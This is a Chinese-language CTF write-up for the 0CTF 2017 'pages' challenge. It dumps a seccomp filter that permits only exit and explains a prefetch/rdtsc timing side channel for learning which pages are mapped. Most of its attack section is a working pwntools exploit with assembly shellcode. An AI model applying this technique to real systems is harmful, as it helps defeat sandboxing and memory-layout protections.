0ctf 'pages'

这道题弄了一个父进程，和一个子进程。子进程中从/dev/urandom 中读取了64个字节，根据每个字节的最后一个 bit 是1还是0，来 mmap 内存。可以执行任意的 shellcode，但是通过 prctl 函数来限制了 syscall 只能调用 exit

```
__int64 exhibit_syscall()
{
  sock_fprog v1; // [rsp+20h] [rbp-50h]@1
  sock_filter BPFs[7]; // [rsp+30h] [rbp-40h]@1

  memcpy(BPFs, filters, 0x38uLL);
  v1.len = 7;
  v1.filter = BPFs;
  if ( prctl(PR_SET_NO_NEW_PRIVS, 1LL, 0LL, 0LL, 0LL) )
  {
    printf("[ERROR]");
    fflush(stdout);
    _exit(1);
  }
  if ( prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &v1) )
  {
    printf("[ERROR]");
    fflush(stdout);
    _exit(1);
  }
  return 0LL;
}
```

可以看到，第二次调用 prctl 时候的第一个参数是 PR_SET_SECCOMP，是控制 security compute 的选项，第三个参数 v1指向了 sock_fprog 结构体，sock_fprog 结构体中的 filter 项指向了一个 sock_filter 的数组

```
.rodata:0000000000401720 ; sock_filter filters[7]
.rodata:0000000000401720 filters         sock_filter <20h, 0, 0, 4>
.rodata:0000000000401720                                         ; DATA
XREF: exhibit_syscall+C•o
.rodata:0000000000401720                 sock_filter <15h, 1, 0,
0C000003Eh>
.rodata:0000000000401720                 sock_filter <6, 0, 0, 0>
.rodata:0000000000401720                 sock_filter <20h, 0, 0, 0>
.rodata:0000000000401720                 sock_filter <15h, 0, 1, 3Ch>
.rodata:0000000000401720                 sock_filter <6, 0, 0, 7FFF0000h>
.rodata:0000000000401720                 sock_filter <6, 0, 0, 0>
```

这是数组的内容。 sock_filter 结构体的内容不是很直观，比较难以理解，跟 BPF language 有关。在 github 上找到了 libseccomp，可以用来对 BPF byte code 做反编译。gdb 调试的时候在 prctl 处下断点，然后在内存中找到这一段，

[dump seccomp rules]: https://kitctf.de/writeups/32c3ctf/ranger 这篇文章介绍了如何 dump 出 seccomp 的 rules，然后用 libseccomp 的 tools 文件夹里面的 sec_comp_disassemble 工具，就可以翻译出这段 rules 具体的含义了。

```
➜  tools ./scmp_bpf_disasm < ../../../0CTF2017/page/bpfs.dump
 line  OP   JT   JF   K
=================================
 0000: 0x20 0x00 0x00 0x00000004   ld  $data[4]
 0001: 0x15 0x01 0x00 0xc000003e   jeq 3221225534 true:0003 false:0002
 0002: 0x06 0x00 0x00 0x00000000   ret KILL
 0003: 0x20 0x00 0x00 0x00000000   ld  $data[0]
 0004: 0x15 0x00 0x01 0x0000003c   jeq 60   true:0005 false:0006
 0005: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0006: 0x06 0x00 0x00 0x00000000   ret KILL
```

这是 dump 的结果。前两行是判断 arch 是否是 x86-64。第三、四行是判断系统调用行是否等于60，等于60就返回 ALLOW，不等于就返回 KILL。系统调用号60是 sys_exit，所以就相当于没有系统调用可用。

```
if ( close(0) )
{
  printf("[ERROR]");
  fflush(stdout);
  _exit(1);
}
if ( close(1) )
{
  printf("[ERROR]");
  fflush(stdout);
  _exit(1);
}
if ( close(2) )
{
  printf("[ERROR]");
  fflush(stdout);
  _exit(1);
}
```

程序还把标准输入、输出、错误输出都给 close 掉了。

唯一的办法就是利用 prefetch 这个指令。这个指令的作用是从内存中 copy 一段字节到 cache 中

> If the line selected is already present in the cache hierarchy at a level closer to the processor, no data movement occurs. Prefetches from uncacheable or WC memory are ignored.

这个指令的特点是即使访问了没有 mmap 的内存，也不会发生段错误。但如果内存没有 mmap 的话，这个指令的执行时间会比较长。如果内存是 mmap 过的，这个指令的执行时间就比较短。我们可以用 rdtsc 这个指令来获取指令执行的时间。

下面是 exp

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='debug')
context(terminal=['gnome-terminal', '-x', 'bash', '-c'])

def __get_base(p, _path):
    _vmmap = open('/proc/%d/maps' % p.proc.pid).read()
    _regex = '^.* r-xp .* {}$'.format(_path)
    _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]
    return int(_line.split('-')[0], 16)

```

```
# def __get_child_proc(p):

_program = 'pages'
_pwn_remote = 0
_debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0

elf = ELF('./' + _program)

if _pwn_remote == 0:
    os.environ['LD_PRELOAD'] = ''
    libc = ELF('./libc.so.6')
    p = process('./' + _program)

    if _debug != 0:
        if elf.pie:
            _bps = [] #breakpoints defined by yourself, not absolute addr, but offset addr of the program's base addr
            _offset = __get_base(p, os.path.abspath(p.executable))
            _source = '\n'.join(['b*%d' % (_offset + _) for _ in _bps])
        else:
            _source = 'source peda-session-%s.txt' % _program
        gdb.attach(p.proc.pid, execute=_source)
else:
    libc = ELF('./libc6-i386_2.19-0ubuntu6.9_amd64.so') #todo
    p = remote('8.8.8.8', 4002) #todo

sc = asm("""
    /* r15 stores the prefetch execute count */
    mov r11, 64
    mov rbx, 0x200000000
    mov r10, 0x300000000

loop_begin:
    /* test the even page */
    mov r15, 0x10000
    rdtsc
    shl rdx, 32
    or rdx, rax /* get time stamp value */
    mov r8, rdx
benchmark:
    prefetcht0 [rbx]
    dec r15
    jz bm_end
    jmp benchmark
bm_end:
    rdtsc
```

```
    shl rdx, 32
    or rdx, rax
    sub rdx, r8
    mov r9, rdx/* stores the latency */

    /* test the adjacent odd page */
    mov r15, 0x10000
    add rbx, 0x1000
    rdtsc
    shl rdx, 32
    or rdx, rax
    mov r8, rdx
benchmark2:
    prefetcht0 [rbx]
    dec r15
    jz bm2_end
    jmp benchmark2

bm2_end:
    rdtsc
    shl rdx, 32
    or rdx, rax
    sub rdx, r8
    cmp rdx, r9
    jl set_byte_1
    /* set byte 0 */
    mov byte ptr [r10], 0
    jmp end_of_set_byte
set_byte_1:
    mov byte ptr [r10], 1
end_of_set_byte:
    inc r10
    add rbx, 0x1000
    dec r11

    jz end_of_sc
    jmp loop_begin
end_of_sc:
    nop
    ret
""")

_len = len(sc)
with open("shellcode.data", "w") as f:
    f.write(p32(_len))
    f.write(sc)
```

```
    f.close()

p.send(p32(_len))
p.send(sc)
p.interactive()

```

坑点

1. 一开始测时间的时候，prefetch 只执行了一次，由于两次 rdtsc 中还有别的指令在执行，所以执行的非常不准。后来把代码改成执行0x10000次 prefetch，就能很明显的测出两种情况下 prefetch 的访问时间差异了。